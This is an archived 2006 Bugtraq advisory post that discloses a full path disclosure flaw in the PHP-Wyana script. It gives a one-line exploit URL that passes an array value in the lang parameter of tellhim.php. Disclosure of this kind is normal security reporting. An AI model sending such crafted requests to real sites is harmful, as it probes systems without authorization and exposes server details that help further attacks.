Full Path Disclosure in PHP-Wyana

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Full Path Disclosure in PHP-Wyana
From: xx_hack_xx_2004@xxxxxxxxxxx
Date: 14 Oct 2006 22:18:05 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

Hello
Vulnerable: PHP-Wyana
http://www.wyana.com

Exploit :
http://www.example.com/site/tools/tellhim.php?lang=['anything']

Discovery by Linux_Drox

Special Gr8 To : S-H-T

LeZr.Com

Best Regards ,,

Prev by Date: Security Advisory for Bugzilla 2.18.5, 2.20.2, 2.22, and 2.23.2
Next by Date: :ShAnKaR: WoltLab Burning Book <=1.1.2 multiple vulnerabilities
Previous by thread: Security Advisory for Bugzilla 2.18.5, 2.20.2, 2.22, and 2.23.2
Next by thread: :ShAnKaR: WoltLab Burning Book <=1.1.2 multiple vulnerabilities
Index(es):
- Date
- Thread